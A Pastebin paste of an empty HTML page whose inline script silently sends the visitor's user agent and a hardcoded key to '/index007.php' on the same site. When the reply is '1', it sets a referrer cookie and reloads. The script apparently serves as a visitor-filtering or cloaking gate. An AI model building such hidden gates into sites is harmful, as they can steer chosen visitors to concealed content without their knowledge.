Advertisement
Guest User

Untitled

a guest
Jan 19th, 2015
689
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <script type="text/javascript">
  5. (function() {
  6. var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP');
  7.  
  8. xhr.onreadystatechange = function() {
  9. if (xhr.readyState == 4 && xhr.responseText == 1) {
  10. var date = new Date();
  11. date.setTime(date.getTime() + 2000);
  12. document.cookie = 'referrer=' + encodeURIComponent(document.referrer) + '; expires=' + date.toGMTString();
  13. window.location = window.location.href;
  14. }
  15. };
  16.  
  17. var url = location.protocol + '//' + location.hostname + '/index007.php';
  18. var data = 'ua=' + encodeURIComponent(navigator.userAgent) + '&sec=' + encodeURIComponent('secret122key') + '&rnd=' + Math.random();
  19.  
  20. xhr.open('POST', url, true);
  21. xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  22. xhr.send(data);
  23. })();
  24. </script>
  25. </head>
  26. <body></body>
  27. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement